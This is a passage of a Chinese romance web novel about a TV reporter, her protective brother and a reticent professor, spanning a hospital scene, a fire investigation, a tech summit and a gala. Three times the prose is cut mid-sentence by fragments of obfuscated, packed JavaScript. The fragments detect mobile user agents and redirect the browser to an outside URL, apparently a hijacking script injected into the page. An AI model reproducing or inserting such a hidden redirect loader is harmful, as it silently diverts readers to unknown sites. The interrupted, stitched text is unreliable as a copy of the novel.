穆语鼻尖两颊的潮红刚刚退去,额中浮起一层薄汗,她虚弱地掀起眼帘,适应房间昏暗的光线后,茫然打量四周,最终将目光锁定在正俯身半蹲在床前,满眼关切的商拯脸上,启唇时眼泪跟着簌簌落了下来,“我是不是错过了直播。” “刚才你的电话一直在响,像是有急事,所以我擅作主张帮你接了。”商拯见状有些慌了神,柔声将声音放低,又顺手摸了把她的头顶,“你的同事让我告诉你,工作的事不用担心。” “谢谢你。”穆语不住泛起鼻音,“我哥……” “他来过,有急事又走了,带来的保镖在外面,说是你认识的人。”商拯起身松了口气,“要开灯吗?” 穆语点了点头,稍微用被子挡住眼睛,这才注意到墙上的挂钟,时针已经转过深夜十一点。 “你这几天是不是没怎么睡过?” 她起身揉了揉眼睛,捧着脸似乎又恢复了活力,“我黑眼圈很重吗?” 商拯双手插兜,神情严肃起来,“你刚才晕倒后一直昏睡不醒,身体状况这么糟糕的话,一旦芯片出现任何排斥反应,你的免疫系统……” “阿拯,”穆语一本正经打断他,“我看你以后,最好还是尽量减少和穆谨言发生言语交流,你都快被他传染上穆氏祖传话痨了。” “你怎么知道我是被他传染?” 穆语大翻白眼,“那还能是被我传染?”说着,她不客气地抄起床头沏好的温水,咕咚咕咚喝了个精光,“而且我晕倒也不是因为什么发烧、疲劳过度。” “因为什么?” “当然是因为你……”话到嘴边,穆语一个紧急刹车,脸颊发烫,“惹我生气!我们的友谊,那可是经过警察同志验证的,一个小小项目,你不帮我也就算了,还处处给我使绊子?” 讲到这事,穆语当真火大起来,翻身下床,“我宣布,我们的友谊从此刻开始破裂。”未料自己刚发过大汗,退了烧的身体还很虚弱,话音未落便脚下一软,踉跄着向前扑去。 商拯疾步,试图稳住她的身体,没想一个出师未捷,竟踩上她掉落床边的拖鞋。 穆语的重量结结实实地摔在他的前胸,失重间商拯难以自持,两人不出意外地双双倒地,但意外的是他那绝顶聪明的、该上保险的后脑勺,“哐”的一声重重撞上了身后金属制的床沿。 门外待命的保镖秦书,听见里面的响动破门而入,见穆语正将商拯的脑袋宝贝地抱在怀里,不住抚摸,有些尴尬地清了清喉咙。 “秦叔?欢迎回家!”穆语手上持续安抚着商拯后脑鼓起的大包,见到门口熟悉的魁梧人影粲然一笑。 “小姐。”多年未见,秦书这才能好好看一眼穆语,点头示意后,他无声退出带上了门,靠在走廊的墙边,秦书盯着自己的脚尖,落下猛男的眼泪——小姐真的长大了,都会谈恋爱了。 商拯眼冒金星,懵住半晌才回过神来,一把捉住穆语正在自己后脑为非作歹的爪子,从牙缝里挤出两个字,“够了。” 17. 第十七章 晨起又是艳阳高照,半山区覆盖率高达80%的绿化面积,像是为当中楼群撑起一把偌大的苍青色巨伞,将空中炙热的温度与城市繁杂的车水声隔绝在外。 视野开阔光线充足的餐厅里,两人无声用着早餐,杯碟轻碰发出悦耳的叮当声,反将屋内衬得愈显静谧。 “报道我看了。”穆谨言声音淡淡,听不出喜怒。 穆语心不在焉地用筷子挑了下手中咸鸭蛋的蛋黄,“哦。” 耳边传来穆谨言重重的叹息,“别再查下去了。” “报道播出就等于下了战帖,”穆语咬着筷子抬头看向穆谨言,“这下只能把敌人打死了。” “小语,人生没有那么多你想象中的意义,我宁愿你像陈亦然那小子一样,开心就好。” 穆语放下手中的咸鸭蛋,“哥,你那么聪明,怎么就看不出陈亦然并不开心呢?” 空旷的室内再次沉静下来,穆谨言盯着腕上手表的指针足足转了一圈,才启唇答道:“好,其他的事暂且不提,我只要你在家里安稳休息两天,出门带上老秦。” “成交。”穆语想也没想,点头专注地用餐刀替吐司抹上一层均匀的果酱,随即献宝似的呈到穆谨言眼前,“感谢您昨天仗义相助,帮我们的线人安排保护。” 穆谨言余光瞥了眼穆语手中的吐司,用餐巾擦擦嘴角,没有半点接过的意思,“用不着,年纪大了,戒糖。” 穆语收手自顾大嚼一口,转着眼珠子吞吞吐吐地问道:“上次,你说要给我介绍的教授,是阿拯吗?” “不是。”穆谨言不假思索。 “不是?”穆语惊愕地用手背胡乱抹了把嘴角的果酱,坐直身子满脸质问,“那你还能认识什么教授!” “穆语,你该不会是看上那小子了吧?” 穆语眼前,不由回闪昨晚医务室内的画面—— “够了。”颈间拂过商拯温热的气息,穆语手腕被他死死攥在手心,动弹不得,只好收回望向门口的视线低头看他,未料身形交错间,唇畔竟意外点水般擦过他微凉的鼻尖。 “啊!”穆语急促而嘹亮地大叫一声,恼羞成怒地丢下筷子,挥舞手臂全身红得像只煮熟的小龙虾,“不要你管!” 望着自家妹妹抱头出逃的背影,穆谨言咬牙将指节捏得咔咔作响,“行啊,你小子。” 商拯打了个喷嚏走出浴室,用毛巾胡乱揉了揉还滴水的短发,进入衣帽间,从清一色雪白的上衣中,随便捡了件T恤给自己套上,这才注意到斗柜上正不停发出震动的手机。 点开穆语那堪比过山车般跌宕起伏的心率图,他咬紧牙关,单手叉腰没什么耐心地划出穆语的消息框,暴躁地输入“你在干什么”几个大字。 此时此刻,穆语正双颊绯红,呈大字形仰面一动不动地躺在床上,呆呆盯住天花板那盏水晶吊灯上轻摇的坠子,不知想到什么,嘴角突然疯狂上扬,发出变态的声音。 “叮——” 穆语闻声笑意不减,目不斜视地捞过枕边的手机。 白雪公主:你在干什么 难道这就是传说中的心电感应?我在想你的时候,你也在想着我?穆语喜不自禁,蹬着腿在弹簧质量上乘的床垫上,没命地扑腾。 “我在想你——”头上的包消肿了没,穆语刚敲出前四个字,一条消息预览的横幅便伴随着短促的提示音,突地跳了出来。 发出Siri的声音:刘伟人被停职了。 穆语脸上的笑容逐渐凝固,坐起身盯着奚蕊发来的消息,有些无助地低垂肩膀。 吴佳接受采访的视频播出后,各事故相关单位,即刻就“分包商支付封口费”的指控发出声明,并展开严肃调查。 此刻“金鸡大厦施工人员收受封口费”话题,仍醒目地排列在一众有关分包商的讨论声中,显得格外刺眼,然而,牵扯到楼盘开发商华啸置业的相关疑问,却是方掀起波澜便被撤下,几乎难以检索出任何有效的信息。 穆语垂眸,点开消息列表中吴佳黑色的头像,看着昨晚她发来的“谢谢你”三个字,难受地将头埋进膝盖之间,逝者已逝,她突然不明白,自己凭什么称得上这声感谢。 她就这么安静地坐在那,从彩云满天到暮色西斜。 不知又过了多久,手机的屏幕在黑暗中闪烁着亮起,穆语掀起眼帘望了过去。 白雪公主:你好吵,快去吃饭 “嗯?”好奇心驱使穆语终于从情绪中暂时抽离,“你怎么知道我没有吃饭?”她喃喃拿起手机,这才发现早上的聊天记录—— 白雪公主:你在干什么 木鱼不是用来敲的:我在想你 ***** 在穆谨言的强力盯梢之下,为了保持与其斗智斗勇所必需的尊重,穆语很努力地吃饭睡觉锻炼身体,恢复到活力四射的样子。 今天是确认观察方案后的第一次复查,她破天荒地穿起了裙子,甚至对着镜子面目狰狞地给自己贴了对假睫毛,妆发完毕后,才满意地点了点头,拿起手机自拍一张。 木鱼不是用来敲的:(JPG) 奚蕊熬了个通宵,正忙里偷闲在茶水间做着肩颈运动,收到信息低头一瞧,脖子“咔嗒”一声闪了个结结实实。 发出Siri的声音:你摔坏脑子了? 木鱼不是用来敲的:[发怒][发怒][发怒] 发出Siri的声音:假睫毛贴得很艺术。 “有那么夸张吗?”穆语边走下楼梯,边对着手机屏幕的反光一番端详。 穆谨言见着来人,嘴里的咖啡不慎钻进气管,险些呛得背过气去,眼泪止不住地直往外涌。 穆语这下真的有些生气,“你们的反应是不是有点太夸张了,我好歹也是个名媛诶!就不能偶尔化个妆,穿个裙子吗?” “哥不是那个意思,”穆谨言哑然安抚道,“你这是去哪?” “上班!”穆语目光闪烁,坐下随便拿起根油条大口咬下。 穆谨言还没顺过气来,握拳抵唇轻咳着点了点头,“嗯,好。” 吃完早餐,穆语气呼呼地带着秦书出了门,跟踪事件发生后的那几天里,穆谨言并未向她交代对可疑男子的调查结果,兄妹俩默契地保持着沉默。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443411|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 穆语嘴上不说,心下却很明白,事态越是棘手,穆谨言才会越发谨慎,于是温顺地听从兄长的安排,外出乘坐由秦书驾驶的专用车辆,除去在“安保极为森严”的电视台内工作的时候,秦书都会寸步不离地跟着自己。 刘伟人被停职,新闻部搁置下来的工作,被交由麦栩全权负责,穆语心情复杂,一方面为刘伟人的停职而感到忧虑,另一方面,又为能够再次同麦栩一起共事,而感到欢欣鼓舞。 早会上,麦栩利落地主持着大局,习惯性地扶腰在白板上记下要点,“社会组?” “我这有一条!”穆语高举手臂,恨不能跳起来表现。 在得到麦栩的首肯后,她朗声道,“黑心婚介所为提高会员相亲体验,雇佣‘演员’与之相亲,随后提出各种理由‘婉拒’会员,我的线人从事模特工作,曾多次参与其中,据说工作内容轻松、收入很是不菲。” 麦栩面露微笑,满意点头,“很好,继续跟。” 穆语被夸奖,心情大好地扭头冲田七咧嘴一笑,没想这人居然打了个寒战,像害怕什么似的缩起脖子来? 下了会,穆语在洗手间的镜子前360度全方位无死角地打量自己,在确认自己真的没有旁人表现出的那样古怪后,才放心地背起背包往顶创去了。 经过几次交锋,研发中心院门口的门卫终于脸熟了穆语,“小姑娘,你下次不能再那么闯进去了,你这样我是要丢饭碗的!” “对不起大哥,上次情况紧急。”穆语搓着裙角,实在有些不好意思。 “你还翻墙了是不是?把我的花圃都压坏了呀!” “嘿嘿,”穆语挠挠脑袋,“那是你们商教授压的,不信您自己问他。” “问什么?”商拯的声音冷不丁从背后传来。 穆语转身满脸被当场抓包的窘迫,“没、没什么!” 他今天穿一身笔挺正装,西服内的衬衣被随意解开两颗扣子,露出喉结边上一颗小痣。 穆语盯着那颗小痣,面部抽搐半晌,才终于忍住没露出花痴的神情,怎料那厮的前胸竟突然在她眼前数倍放大,身上好闻的气息也随他动作,毫无预兆地直钻进自己的鼻腔。 商拯微微侧身伸长胳膊,从她头顶接过同事先前寄放在门卫的文件袋,垂眸仔细确认文件袋内的材料时,恰好错过穆语面上精彩万分的表情。 “快进去吧,我先走了。”他抬头算是同穆语打过招呼,转身便要上车。 穆语条件反射地拉住他的胳膊,“走?” “今天我有事,黎医生替你检查。”商拯回眸瞧了眼拉住自己胳膊的穆语,微一愣,总觉她今天看起来怪怪的,但又说不上哪里怪怪的。 “哦。”穆语才依依不舍地松开他,又忽然想起什么,小跑从秦书停在旁边的车内拎出一个纸袋,反身递给商拯,“上次弄脏的衣服还你,有个地方洗不干净,我稍微处理了一下。” “谢谢。”商拯接过,脑海中仍在搜索她今天到底哪里奇怪的原因。 道过别后,穆语只得扁着嘴,眼睁睁瞧着他的车子,缓缓驶离自己的视线范围。 18. 第十八章 TO MU JIN “国际组?”麦栩单手撑腰,在白板上快速留下一串潦草的字迹,转身轻敲桌面,蹙眉催促。 被点到名的小组不敢有丝毫懈怠,组长身体前倾,直望向会议桌那头好整以暇的麦栩,“澳洲大火对当地生态影响的相关报道,请到华大环境学教授……” “过,”麦栩垂眸翻阅国际组提交的简报,抬首打断她,“下一条。” “呃……”新来的实习生紧张地捏着手中的圆珠笔,开口有些结结巴巴,“美、美国多州爆发了,示威游/行,是关于……” “多州?哪几个州?”麦栩启唇毫无波澜。 实习生张皇地朝身边同事投去求助的眼神,“这……” 麦栩没能等到自己想要的答案,抬眼面色一沉,“新闻部不需要坐在电脑前,打开搜索引擎就能随便找到故事,如果你只能做到这样的程度,那么写小说或许比当记者更适合你。”她斜眼看向一旁国际组的组长,“这条尽快确认来源,下一条。” “美方首次公开UFO视频?”老记者尤叔试探性地抛出话题,会议室内众人闻言忍不住轻笑出声,紧张的氛围才稍有缓解。 “把‘首次’去掉,”麦栩翻着眼皮不置可否,继续点名道:“社会组。” “CNNIC最新发布的‘互联网络发展统计报告’,国内网民群体的收入数据很有趣,本台还没有展开过讨论。” “你会对这感兴趣?……自己留着吧!穆语?” 面对麦栩突如其来地点名,穆语挺直腰板毫不露怯,“婚介所的相关负责人已经取得我的资料,我有信心,很快就能收到他们的面试通知。” “你的资料?”麦栩沉吟片刻,点头应允道:“注意安全,再有就是,金鸡大厦募捐活动的简报,你来截稿。” 会后,穆语拿到了金鸡大厦募捐活动的捐赠主体名单,“云启资本”不出意外地拔得头筹,紧随其后的是——“顶创生命科技有限公司”? 穆语怀疑是自己潜意识里想了太多次那个人,才导致出现幻觉,用力将眼睛眨了又眨,再睁开时,白纸黑字仍写得清清楚楚。 穆谨言素来便是公益事业的狂热分子,并患有严重的TOP癌,平日又最爱收看他们的节目以便监视她的动向,因此拔得头筹并不稀奇。 但没想到,连顶创也关注到了电视台这次小范围、低调进行的募捐活动,心下不由感到一阵温暖,带着这股暖意,穆语极尽钻研地完成了这篇活动的通稿。 有关“金鸡大厦‘7·23’重大火灾事故”的话题热度,在某些怀抱恶意势力的控制下逐渐平息,很快便会成为“无数灾难的其中之一”,只剩那些以灾难为载体,被永恒标注的家庭,独自面对这段锥心刻骨的记忆。 穆语和田七代表电视台新闻中心,参加了吴佳父亲的葬礼。 直到听见已逝者的长女哽咽着念出父亲的悼文,穆语才第二次注意到这位普通工人的姓名,媒体曾以“幸存者”替他命名,但他却终究没能够“幸存”。 仪式场地布置简单,只零星几个工友,吴佳母亲由于身体原因没能到场,女孩就这么孤零零地挺着单薄的脊背,将身子站得笔直。 “吴佳,这是我们电视台同事们的一点心意,可能不是很多,但我们都希望你能够继续完成学业,不要放弃妈妈的治疗。”礼毕,穆语将一张银行卡递给吴佳,反复斟酌着语句,“谢谢你愿意站出来替更多受害者发声,我们向你保证,一定会继续调查下去。” 吴佳沉默地接过卡片,含泪目光坚定地看向两人,“那你们可得抓紧点,不然等我毕业当上了记者,肯定能比你们厉害。” 穆语闻言鼻子一酸,红着眼睛咬唇重重点头。 ***** “小语,到哪了?”电话里奚蕊火急火燎。 穆语脚下八厘米的高跟鞋敲击地面,发出哒哒的响声,肩膀夹住手机,艰难推着板车上满载的设备向前冲刺,“门口!到门口了!” “我说你和田七可千万别给我掉链子,”奚蕊压低声音,“是谁跟我吵着要来看日本巴菲特的?” 正值午餐时间,“iRISE科技峰会”开幕首日的主会场内人头攒动,来自科技领域的行业领军人物、投资人、国内外各大媒体皆齐聚于此。 穆语手忙脚乱地,穿越会场拥挤的展览区域,余光倏然瞥见顶创醒目的标志,不由驻足多看了两眼。 “高灵敏度……Si?MEM基纤毛SGHz?硅微波导……商拯?”穆语蹙眉稳住手推车的车把,歪着脑袋,面对眼前的易拉宝喃喃念出声来,就连最后两个字也不是很肯定。 “穆语!你给我快一点!”手机那头的奚蕊,显然已有些气急败坏。 她瞅了眼时间,只好不甘心地咬牙转身,继续朝奚蕊所在的待机室飞奔过去。 离直播开始不到两个小时,在有“日本巴菲特”之称的安藤英太郎去往对话现场之前,电视台会安排他在休息室内,一边整理妆容,一边接受奚蕊直播前的简单采访。 此时,同事们尽数奔赴现场,清理场地上一轮讲座留下的痕迹,同时增援设备安装,因此被安排在休息室内进行录制任务的,只有穆语和田七二人。 “七哥呢?”奚蕊见穆语满头大汗,扛着个比她半人还要大出不少的机器,顿时没了脾气,再看她一身包臀小洋装,更是惊出一身冷汗,“你打扮成这副模样,是不是想艳压我?” 穆语缓了缓,“那边设备出了点问题,七哥在帮忙,我刚面试完,来不及换衣服。” “什么面试?”两人合力架好摄像机,将灯光和背景板布置完毕后,才总算松了口气。 “婚介所那个,”穆语抽出张卸妆巾,对着镜子猛擦眼皮上夸张的彩妆,“你说他们过不过分?居然要我回去等通知?本小姐条件那么好,我要是他们,跪下来求我都来不及!” 奚蕊不禁捧腹,放下手中的采访稿,“你家教授今天也有讲座,不过时间刚好跟‘巴菲特’怼一块了。” 穆语脸上妆卸了一半,扭头哭丧着脸,“我知道,因为我已经在事业与爱情之间,选择了事业。” 二人话音刚落,门口便隐约传来人声,安藤先生的团队竟比预计时间还要提早到达,奚蕊和穆语不约而同地起身站定,屏气敛息做好迎接姿态。 穆语将卸妆巾抛物线丢进垃圾桶,全然忘记脸上只卸了一半的妆容,冲来人露出热情的微笑。 商拯开门见状,嘴角抽搐,侧身贴心将安藤英太郎的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443412|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线给挡得严严实实,回头用英文,“就带您到这里,我要提前去会场做准备。” “多谢,晚上有时间一定跟你好好喝上一杯。”安藤先生剑眉星目,霜白的两鬓被提前整理得一丝不苟,随着点头的动作,浓密的发顶轻弹,折射出睿智的光泽,丝毫不觉已是“古稀”高龄。 室内二人见商拯进来皆是一怔,奚蕊很快便压下“台里为什么没能接到巴菲特”的疑问,回神上前同安藤先生自我介绍,招呼从日本远道而来的团队进了屋。 穆语瞧见商拯异样的眼光,这才反应过来,忙伸手挡住自己卸好妆的那半张脸,见他又扯着嘴角朝自己一瞥,立即改变主意,伸手去挡自己没卸妆的那半张脸。 那厮却置若罔闻,云淡风轻地同安藤先生打过招呼后潇洒离开,想起每每见他,自己丑态百出的窘状,穆语忍不住悲从中来,委屈地红了眼眶。 安藤英太郎作为房间里最受瞩目的对象,仍敏锐地察觉到角落里女孩的失落,倾身上前关心。 穆语垂下慌张遮掩的手心,露出自己五彩斑斓的脸蛋,心情沮丧到了极点,“安藤先生非常抱歉,我们很重视您的到来,只是您比预计时间来得早太多了,我们还没有准备好。” 对方意外于女孩的坦率,仰面发出连串爽朗的笑声,同样用日语回复她:“是我不对,以后我一定注意‘准时’。” 穆语得到安慰,很快收拾好心情,重新投入到工作中去,访谈进行得很顺利,她百忙之中不忘替穆谨言要到安藤先生的亲笔签名,照片上用力透纸背的遒劲字体,大写着:TOMUJINYAN:) ***** “iRISE科技峰会”是全球规模最大的科学技术盛会之一,首日颁奖典礼结束后,便是为受邀企业、投资人接风洗尘的开幕晚宴。 为期四天的峰会,吸引了来自全球行业内外的精英共襄盛举,大家都想从中收获点什么,因此很少有人会想要缺席这样一个重要的社交场合。 “我礼服呢?”奚蕊这会儿急得脸色煞白,恨不能将休息室翻个底朝天,“你们不会没带过来吧?” 见奚蕊的泪水在眼眶里直打转,穆语忙停下动作,上前连声安抚,“别急别急,实在不行还能穿我的顶上,你先仔细想想,它是丢了还是落在台里了?” 奚蕊担任开幕晚宴的主持,找礼服已经耽误了不少时间,眼下彻底慌了神,“我不确定。” “别找了!”穆语扬声招呼一众翻箱倒柜的同事们住手,替她拿定主意,“你现在就把我的换上,我不是非得到场。”虽然一周前,穆谨言就已经三令五申地跟自己强调了今天晚宴的日程。 见奚蕊还在犹豫,她耐心解释,“再说,我可以迟一点过去,但你不能。” 一句话便说服了奚蕊听从她的建议,换上礼服先一步驱车赶往现场。 奚蕊走后,房间内很快归于平静,穆语又独自一人在休息室内翻找半天,无奈未果。 会场离电视台距离太远,眼下又赶上A市晚高峰的时间,且不说礼服是否真的落在台里,就算在,等她拿到礼服收拾好自己,再赶去也着实太迟,所以便不打算去了。 “怎么了?”商拯拐出休息室,便看到一道熟悉的身影。 19. 第十九章 商拯逆着光,身后落地窗外的余晖勾勒出他挺拔的轮廓,待他走近,穆语才看清他身上的礼服。 “今天晚上你能来我家吗?”穆语无心欣赏面前美人绰约的风姿,张嘴便语出惊人。 “什么?”商拯闻言,面色骇然。 穆语撇了撇嘴,侧身避开走廊上推着整排衣架经过的工作人员,盯着上面衣服的眼神充满渴望,“如果我不去会场,穆谨言一定会杀了我,如果我穿这样去会场,穆谨言一定会骂死我。” 说着,她皱起鼻头重重叹气,仿若口中的穆谨言是什么可怕的洪水猛兽,“你要是跟我一起回家的话,他说不定会看在外人在场的面子上,勉强饶我一命。” “外人”这个词,商拯听起来莫名感到刺耳,他蹙眉无奈瞅了眼手表,“跟我走。” “嗯?”穆语仰头发出疑惑的音节。 “从这里出发到距离最近商场,全程8.5公里,经过11个红绿灯,如果你不是绝对倒霉的话,十五分钟内就能到。” 他又露出那副高深莫测的表情,句子的内容也像是出自AI之口,穆语一时难辨这厮到底是不是真心帮助自己,只得先跟上他的脚步,马不停蹄奔往那个距离最近的商场。 半晌,商拯终于没好气地转身,与紧踩着自己脚后跟的穆语拉开距离,“你干什么?” “没什么,”穆语假意看向别处,“就,找找有没有开关。” “什么开关?” 见他挑眉看起来不是很好惹,穆语弯起眼睛,半拉半拽着他上车,“咱们快走,不然得来不及了。” 未料,前方一路红灯。 穆语伸长脖子,心急如焚地默数路口红绿灯上跳动的数字,没想自己今天还真是“绝对倒霉”,于是抱歉回头,看向与自己同坐在汽车后座的商拯,“对不起,要害你迟到了。” “嗯。” 嗯?“嗯”是什么意思? 穆语心虚抬眼,看向后视镜中那辆,正不近不远地跟在他们车尾的凯迪拉克。 她本能让秦书送她过去,不过是想多跟他待在一起罢了。想到这,穆语低头坏心眼地笑了。 “晚到才能更快结束。”他在此时启唇,吐出句子的后半段。 37度的嘴,怎么能说出这么冰冷的话。 穆语想象中男主角坐在精品店定制的真皮沙发上,含笑看着女主角一套套换上漂亮衣服的画面——并没有出现。 眼前这位男主角像是连胳膊都懒得抬,垂眸看了眼时间,没有半点下车的意思,“二十分钟内回来的话,我们就能赶上一个迟到合理的区间。” “哈?迟到还有合理的区间?”穆语扒着车门,喜欢商拯的念头开始动摇。 “你浪费了一分钟。” 商拯的这句话,彻底埋下了穆语心中仇恨的种子,她决定人为延长该男子在宴会中逗留的时间,以示惩戒。 不等对方反应,穆语便扭头撒丫子就跑。 她全速冲进一间日常光顾的品牌店铺,买下一条平肩丝质的浅蓝色连衣裙,换上就杀了回来,整个过程只用了不到十分钟。 想到由于自己的行动速度,能直接导致商拯在他讨厌的宴会中,多停留十分钟的时间,穆语露出发自内心的满意笑容。 未料,前方一路红灯。 ***** 两人赶到A市现代艺术博物馆的宴会厅时,晚宴进程已过大半。 几番觥筹交错后,厅内众人放下平日的包袱,伴随乐队投入的演奏,任凭欢声笑语在博物馆流光溢彩的弧形玻璃穹顶间,愉快地兜圈。 商拯方一踏入厅内,立即引起蹲守在门口的一干人等注意,穆语见势后退数步,仍被连带着团团围住。 商拯垂眸,这才注意到她连衣裙拉链处挂着的吊牌,只好边同几位熟识的学生打招呼,边伸手扶上她的后背,将吊牌轻按在掌间。 穆语察觉到异样,还未来得及反应,就见不远处穆谨言黑着脸,同李珀两人大步流星地向他们走来。周围生人勿近的气场,形成一场暴风气旋,只是靠近他们,在旁众人便已是作鸟兽散。 穆谨言走近,“你的礼服怎么在奚蕊身上?” “出了点,小小的意外,还好阿拯帮了我。”穆语眼中满是求生欲,本想搬出商拯自救,却反触了穆谨言的逆鳞。 穆谨言听见“阿拯”这个称呼,眼皮一跳,将视线转向穆语身边的商拯,道谢声中全无诚意,“谢谢商教授。” 商拯不知自己又哪里得罪了穆谨言,只好象征性地扯扯嘴角,算作回礼。 没想对方居然不依不饶,“最近家妹给商教授添了不少麻烦。” “是的。”商拯不假思索。 李珀闻声汗颜,抬腿猛踢商拯的脚后跟,“哪里哪里,人到了就好!” “晚点跟我去和长辈们打声招呼,陈爷爷在贵宾室休息。”穆谨言俯首悄声叮嘱穆语,“他明天一早要回美国,说想看看你。” “陈爷爷还飞得动啊?” 穆谨言轻喝一声,作势要揪她耳朵,“没大没小!” 吓得穆语抱头直往商拯怀里缩,穆谨言见状更是咬碎银牙摇头走开,李珀有样学样,不可救药地冲商拯摇了摇头,紧跟着走开。 待两人走远,穆语才反手去摸被商拯捂住的吊牌,“怎么办啊?” 衣裙面料垂坠感十足,布帛的纹路顺着穆语姣好的曲线一路流淌下去,穆语试着将吊牌塞进衣内,后背却即刻鼓起个大包,想着这样去见长辈会太没礼貌,下意识就蹙紧了眉头。 商拯示意她走进旁边一条灯光昏暗、四下无人的走廊,两手扯住吊牌质感扎实的树脂挂绳,试图用力将其扯断,努力半晌未果后,两人在黑暗中面面相觑,穆语先一步妥协到,“没关系,就这样吧!” 黑暗中穆语眼中映出走廊那端闪亮的光点,商拯不知哪根筋搭错了,开口要求道,“转过去,我帮你咬下来。” 穆语先是一愣,随即抿唇,鬼使神差地转过身去。 商拯俯身靠近,鼻尖立马嗅到一股多汁水果的味道,他敛神用牙齿叼住那吊牌的挂绳,企图用自己坚固的大白牙使其乖乖就范。 穆语只觉商拯温热的鼻息,顺着她的背沟缓缓钻进腰窝,她全身僵硬,恍惚间,连走廊尽头人群的笑闹声也变得越来越远,耳边徒留自己不断加速的心跳声和黑暗中起伏不定的呼吸。 “你们在干嘛!”历史总是惊人的相似,身后传来奚蕊高八度的惊呼。 两人同时回首,走廊更深处,奚蕊身着ES新季高定,仿若黑暗中一颗熠熠生辉的迪斯科球,后面跟着的是——陈亦然?! “你们在干嘛!”穆语瞳孔地震,扬声反问,孤男寡女黑灯瞎火,怕不是要旧情复燃? 陈亦然打个领结人模狗样,吊儿郎当地走近后,借远处照来的光线上下打量着商拯,“可以啊你。” 两组人马面色不善地打了照面,穆语叉腰一把拉过奚蕊,“陈亦然,好马不吃回头草,你要我说几遍啊!” 两人同时反驳: “你才是马!” “你才是草!” “人不能在一个坑里跌倒两次,你瞧他那怂样!”穆语又忙不迭地转头教训奚蕊。 奚蕊双臂环胸,失了点底气,“我们就,叙叙旧。” 陈亦然声若蚊蝇,“我可没想跟你叙旧。” “你听见没,他没想跟你叙旧!”穆语伸手拧上陈亦然的耳朵,咬牙切齿,“没想叙旧还想续缘啊!你这么出息,祸害别人家姑娘不好吗?” “你还不是在这里乱搞男女关系,这谁啊!”陈亦然好不容易逃脱穆语的魔爪,斜眼将矛头转向商拯。 商拯没能理清眼前复杂的人物关系,反应慢半拍地刚准备自我介绍,就被穆语一把拦住,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443413|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没礼貌,叫哥。” 陈亦然以为对方是什么厉害人物,秒认哥,“哥,你俩在这干啥呀?” “商总,你们两个不会也在叙旧吧?”奚蕊凑上来一脸八卦。 穆语脸颊染上一片绯红,转身将背后的吊牌展示给他们看,谁知两人了解来龙去脉之后,竟不约而同地摆出副看智障的表情,再次异口同声道:“就这?” 只见奚蕊大手一挥,穆语原本高挽在头顶的发结,瀑布般铺散开来,长发轻易便将身后拉链上的吊牌,给遮得几不可见。 “恋爱果然使人智商降低,”奚蕊冲呆若木鸡的两人摇了摇头,拎着华丽的裙摆转身朝外走去,“没救了。” 陈亦然立即有样学样,冲二人摇头发出啧啧的声音,紧跟着奚蕊蹭了出去。 ***** “哎?馨颜,你刚进来的时候看见穆语了吗?” 听闻隔间有人胆敢钦点自己的大名,穆语对着粉饼盒补妆的动作不停,起身靠近门边竖起耳朵。 被叫作馨颜的女孩音色甚为动人,言语间却是夹枪带棒,“看见了,”她嗤笑一声,“穿得什么呀?也不嫌给他哥丢人,平时拽得跟二五八万似的,还不是只能在电视台当个小记者,风头都让人女主播给抢去了。” 之前那个有点耳熟的声音再次响起,“我好心约她,她都推说没有时间,哼!她以为自己人缘有多好?还不是因为大家都争着想当她嫂子。” 语毕,那人还不忘落下一串杠铃般的笑声,这个讨厌的口音,是何美娜,嗯!一定是她。 “不过,跟她一起那男的……我中午跟叔伯一起去听了他的讲座,虽然听不懂,但好像很厉害的样子,那臭丫头不会比我先钓上金龟婿吧!” 穆语听罢,忍不住掩唇咯咯笑出声来。 两人忽闻里间有“咯咯”的笑声传来,吓得不轻,惊恐万状地对视一眼后,默默退出了洗手间。 穆语补好妆,大摇大摆地从洗手间出来,冲不远处的何美娜做了个大大的鬼脸,接着转身喜形于色地往商拯那边去了。 商拯与穆谨言这边同安藤先生三人聊得正酣,穆语上前还未动作,商拯便伸手自然接过她手中的化妆品,揣进兜里。 就为这事,两人下车前还发生过一番争执—— “我没有口袋,总不能捏手里吧?”穆语没有半点停止说服他的意思,仿佛只要他不同意,她就能永远跟他死磕下去。 商拯以退为进,坚持立场不动摇,“只能选一个。” 穆语见他态度有所转变,顺势发出最后一击,眼神星星攻势,“求你了,对女孩子而言,这口红和粉饼缺一不可。” 商拯看了眼时间,彻底放弃与她毫无意义地对抗,将两样东西都塞进了口袋,起身尽量忽略自己不再平整的一侧衣角。 “还有这个。”穆语从笔记本里飞快掏出一张卡片状的东西,塞进他胸前的口袋。 商拯只掏出来看了一眼,便没什么意见地塞了回去。 